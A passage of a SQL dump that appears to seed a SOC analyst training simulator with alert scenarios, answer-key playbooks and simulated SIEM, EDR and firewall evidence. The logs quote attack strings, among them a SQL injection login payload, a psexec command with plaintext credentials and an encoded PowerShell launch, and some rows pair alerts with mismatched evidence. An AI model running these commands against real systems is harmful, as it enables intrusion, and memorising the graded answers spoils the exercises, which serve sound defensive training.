--\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.295Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T11:13:09Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"\\\",\\\"hostname\\\":\\\"\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.295Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T11:13:09Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"\\\",\\\"hostname\\\":\\\"\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/nginx/access.log\\\" | head 100\"}}', 0),
(652, 'Brute Force Attack on RDP Detected', 'medium', 'Splunk', 'Multiple failed login attempts detected on the RDP service, indicating a potential brute force attack.', 'Credential Attack', 'T1110', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T07:30:45Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.101\",\"dst_ip\":\"192.168.1.20\",\"username\":\"admin\",\"hostname\":\"server-01\",\"failed_attempts\":25}', '2026-01-10 09:48:45', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.101\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for brute force attacks\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"admin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Common administrative username\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The IP is involved in multiple brute force campaigns, attempting to compromise admin accounts.\"}', 'Intermediate', 'SIEM', 5, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.296Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T07:30:45Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.101\\\",\\\"dst_ip\\\":\\\"192.168.1.20\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"server-01\\\",\\\"failed_attempts\\\":25}\"},{\"timestamp\":\"2026-02-01T20:31:22.296Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T07:30:45Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.101\\\",\\\"dst_ip\\\":\\\"192.168.1.20\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"server-01\\\",\\\"failed_attempts\\\":25}\"},{\"timestamp\":\"2026-02-01T20:30:22.296Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T07:30:45Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.101\\\",\\\"dst_ip\\\":\\\"192.168.1.20\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"server-01\\\",\\\"failed_attempts\\\":25}\"},{\"timestamp\":\"2026-02-01T20:29:22.296Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T07:30:45Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.101\\\",\\\"dst_ip\\\":\\\"192.168.1.20\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"server-01\\\",\\\"failed_attempts\\\":25}\"},{\"timestamp\":\"2026-02-01T20:28:22.296Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T07:30:45Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.101\\\",\\\"dst_ip\\\":\\\"192.168.1.20\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"server-01\\\",\\\"failed_attempts\\\":25}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(653, 'Malware Execution via Suspicious EXE', 'critical', 'EDR', 'A suspicious executable was detected running on the endpoint, showing signs of malware infection and potential data exfiltration.', 'Malware', 'T1059', 1, 'resolved', NULL, '{\"timestamp\":\"2026-01-11T13:22:10Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.15\",\"dst_ip\":\"\",\"username\":\"awilliams\",\"hostname\":\"laptop-02\",\"command_line\":\"C:\\\\malicious.exe\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\"}', '2026-01-11 11:03:21', '2026-02-16 18:02:24', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with a known ransomware variant\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"C:\\\\malicious.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Executable exhibits behavior typical of ransomware\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of infected host\"}}],\"expected_actions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The executable hash is linked to ransomware, requiring immediate isolation and investigation.\"}', 'Intermediate', 'EDR', 5, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(654, 'Lateral Movement Detected via PSExec', 'high', 'SIEM', 'Suspicious lateral movement detected using PSExec from an internal IP, indicating possible unauthorized access.', 'Lateral Movement', 'T1569', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T02:50:37Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.25\",\"dst_ip\":\"192.168.1.30\",\"username\":\"administrator\",\"hostname\":\"server-02\",\"command_line\":\"psexec.exe \\\\\\\\192.168.1.30 -u administrator -p password cmd\"}', '2026-01-11 12:58:57', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Source IP for lateral movement within network\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"psexec.exe \\\\\\\\192.168.1.30 -u administrator -p password cmd\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"PSExec used in unauthorized lateral movement attempts\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.1.30\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Target IP for unauthorized access attempt\"}}],\"expected_actions\":[\"isolate_host\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"PSExec was used for lateral movement within the network, indicating potential unauthorized access.\"}', 'Intermediate', 'EDR', 5, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.298Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T02:50:37Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.25\\\",\\\"dst_ip\\\":\\\"192.168.1.30\\\",\\\"username\\\":\\\"administrator\\\",\\\"hostname\\\":\\\"server-02\\\",\\\"command_line\\\":\\\"psexec.exe \\\\\\\\\\\\\\\\192.168.1.30 -u administrator -p password cmd\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.298Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T02:50:37Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.25\\\",\\\"dst_ip\\\":\\\"192.168.1.30\\\",\\\"username\\\":\\\"administrator\\\",\\\"hostname\\\":\\\"server-02\\\",\\\"command_line\\\":\\\"psexec.exe \\\\\\\\\\\\\\\\192.168.1.30 -u administrator -p password cmd\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.298Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T02:50:37Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.25\\\",\\\"dst_ip\\\":\\\"192.168.1.30\\\",\\\"username\\\":\\\"administrator\\\",\\\"hostname\\\":\\\"server-02\\\",\\\"command_line\\\":\\\"psexec.exe \\\\\\\\\\\\\\\\192.168.1.30 -u administrator -p password cmd\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.298Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T02:50:37Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.25\\\",\\\"dst_ip\\\":\\\"192.168.1.30\\\",\\\"username\\\":\\\"administrator\\\",\\\"hostname\\\":\\\"server-02\\\",\\\"command_line\\\":\\\"psexec.exe \\\\\\\\\\\\\\\\192.168.1.30 -u administrator -p password cmd\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.298Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T02:50:37Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.25\\\",\\\"dst_ip\\\":\\\"192.168.1.30\\\",\\\"username\\\":\\\"administrator\\\",\\\"hostname\\\":\\\"server-02\\\",\\\"command_line\\\":\\\"psexec.exe \\\\\\\\\\\\\\\\192.168.1.30 -u administrator -p password cmd\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(655, 'Potential Data Exfiltration via FTP', 'high', 'Firewall', 'Unusual FTP traffic was detected, indicating possible unauthorized data transfer to an external IP.', 'Data Exfiltration', 'T1048', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T12:00:22Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.40\",\"dst_ip\":\"203.0.113.77\",\"username\":\"backupuser\",\"hostname\":\"backup-server\",\"domain\":\"ftp.example.com\"}', '2026-01-10 06:59:49', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.77\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"IP involved in suspicious FTP traffic\"}},{\"id\":\"artifact_2\",\"type\":\"domain\",\"value\":\"ftp.example.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"clean\",\"details\":\"Legitimate FTP domain with no known issues\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.1.40\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP of the backup server\"}}],\"expected_actions\":[\"block_ip\",\"collect_forensics\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The external IP is involved in suspicious FTP traffic, suggesting potential data exfiltration.\"}', 'Intermediate', 'NDR', 5, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(656, 'DNS Tunneling Activity Detected', 'medium', 'IDS', 'Unusual DNS queries detected, possibly indicating DNS tunneling for data exfiltration or command and control.', 'Data Exfiltration', 'T1071', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T03:15:14Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.50\",\"dst_ip\":\"198.51.100.88\",\"username\":\"\",\"hostname\":\"\",\"domain\":\"suspicious-dns.example.com\"}', '2026-01-10 21:24:29', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"domain\",\"value\":\"suspicious-dns.example.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"Domain used for DNS tunneling and data exfiltration\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"198.51.100.88\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"suspicious\",\"details\":\"IP associated with suspicious DNS traffic\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.1.50\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP involved in DNS tunneling activity\"}}],\"expected_actions\":[\"block_ip\",\"collect_forensics\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The DNS queries to this domain are indicative of tunneling activity for data exfiltration.\"}', 'Intermediate', 'NDR', 5, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.301Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T03:15:14Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.50\\\",\\\"dst_ip\\\":\\\"198.51.100.88\\\",\\\"username\\\":\\\"\\\",\\\"hostname\\\":\\\"\\\",\\\"domain\\\":\\\"suspicious-dns.example.com\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.301Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T03:15:14Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.50\\\",\\\"dst_ip\\\":\\\"198.51.100.88\\\",\\\"username\\\":\\\"\\\",\\\"hostname\\\":\\\"\\\",\\\"domain\\\":\\\"suspicious-dns.example.com\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.301Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T03:15:14Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.50\\\",\\\"dst_ip\\\":\\\"198.51.100.88\\\",\\\"username\\\":\\\"\\\",\\\"hostname\\\":\\\"\\\",\\\"domain\\\":\\\"suspicious-dns.example.com\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.301Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T03:15:14Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.50\\\",\\\"dst_ip\\\":\\\"198.51.100.88\\\",\\\"username\\\":\\\"\\\",\\\"hostname\\\":\\\"\\\",\\\"domain\\\":\\\"suspicious-dns.example.com\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.301Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T03:15:14Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.50\\\",\\\"dst_ip\\\":\\\"198.51.100.88\\\",\\\"username\\\":\\\"\\\",\\\"hostname\\\":\\\"\\\",\\\"domain\\\":\\\"suspicious-dns.example.com\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(657, 'False Positive: Legitimate Software Update', 'low', 'EDR', 'A software update process was flagged as suspicious but verified to be a legitimate update from a trusted source.', 'Malware', 'T1071', 0, 'New', NULL, '{\"timestamp\":\"2026-01-11T04:22:33Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.60\",\"dst_ip\":\"\",\"username\":\"bsmith\",\"hostname\":\"laptop-03\",\"command_line\":\"C:\\\\Program Files\\\\Updater\\\\update.exe\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\"}', '2026-01-11 06:52:04', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"clean\",\"details\":\"Hash matches a known legitimate software update\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"C:\\\\Program Files\\\\Updater\\\\update.exe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Legitimate update process\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The process was flagged due to unusual execution patterns but verified as a legitimate update.\"}', 'Intermediate', 'EDR', 5, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(658, 'False Positive: Unusual Login Time', 'medium', 'SIEM', 'A login event occurred at an unusual time for the user, but investigation revealed it was a legitimate access.', 'Credential Attack', 'T1078', 0, 'closed', NULL, '{\"timestamp\":\"2026-01-11T05:10:10Z\",\"event_type\":\"login_success\",\"src_ip\":\"192.168.1.70\",\"dst_ip\":\"\",\"username\":\"mjohnson\",\"hostname\":\"workstation-04\",\"failed_attempts\":0}', '2026-01-11 03:18:55', '2026-02-16 05:12:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.70\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"mjohnson\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Employee account\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The login was initially flagged due to the time but was confirmed as legitimate after user verification.\"}', 'Intermediate', 'SIEM', 5, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.303Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T05:10:10Z\\\",\\\"event_type\\\":\\\"login_success\\\",\\\"src_ip\\\":\\\"192.168.1.70\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"mjohnson\\\",\\\"hostname\\\":\\\"workstation-04\\\",\\\"failed_attempts\\\":0}\"},{\"timestamp\":\"2026-02-01T20:31:22.303Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T05:10:10Z\\\",\\\"event_type\\\":\\\"login_success\\\",\\\"src_ip\\\":\\\"192.168.1.70\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"mjohnson\\\",\\\"hostname\\\":\\\"workstation-04\\\",\\\"failed_attempts\\\":0}\"},{\"timestamp\":\"2026-02-01T20:30:22.303Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T05:10:10Z\\\",\\\"event_type\\\":\\\"login_success\\\",\\\"src_ip\\\":\\\"192.168.1.70\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"mjohnson\\\",\\\"hostname\\\":\\\"workstation-04\\\",\\\"failed_attempts\\\":0}\"},{\"timestamp\":\"2026-02-01T20:29:22.303Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T05:10:10Z\\\",\\\"event_type\\\":\\\"login_success\\\",\\\"src_ip\\\":\\\"192.168.1.70\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"mjohnson\\\",\\\"hostname\\\":\\\"workstation-04\\\",\\\"failed_attempts\\\":0}\"},{\"timestamp\":\"2026-02-01T20:28:22.303Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T05:10:10Z\\\",\\\"event_type\\\":\\\"login_success\\\",\\\"src_ip\\\":\\\"192.168.1.70\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"mjohnson\\\",\\\"hostname\\\":\\\"workstation-04\\\",\\\"failed_attempts\\\":0}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(659, 'False Positive: High Volume Web Traffic', 'low', 'Firewall', 'An alert was triggered for high volume web traffic, which was determined to be legitimate business activity.', 'Web Attack', 'T1071', 0, 'New', NULL, '{\"timestamp\":\"2026-01-11T06:45:50Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.80\",\"dst_ip\":\"203.0.113.200\",\"username\":\"\",\"hostname\":\"\",\"domain\":\"business-partner.com\"}', '2026-01-09 15:07:34', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.200\",\"is_critical\":false,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"clean\",\"details\":\"Trusted partner domain with no security issues\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.80\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP of a business unit\"}},{\"id\":\"artifact_3\",\"type\":\"domain\",\"value\":\"business-partner.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"clean\",\"details\":\"Legitimate business partner domain\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"web_attack\",\"analysis_notes\":\"The traffic volume was high due to a scheduled data exchange with a business partner.\"}', 'Intermediate', 'NDR', 5, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
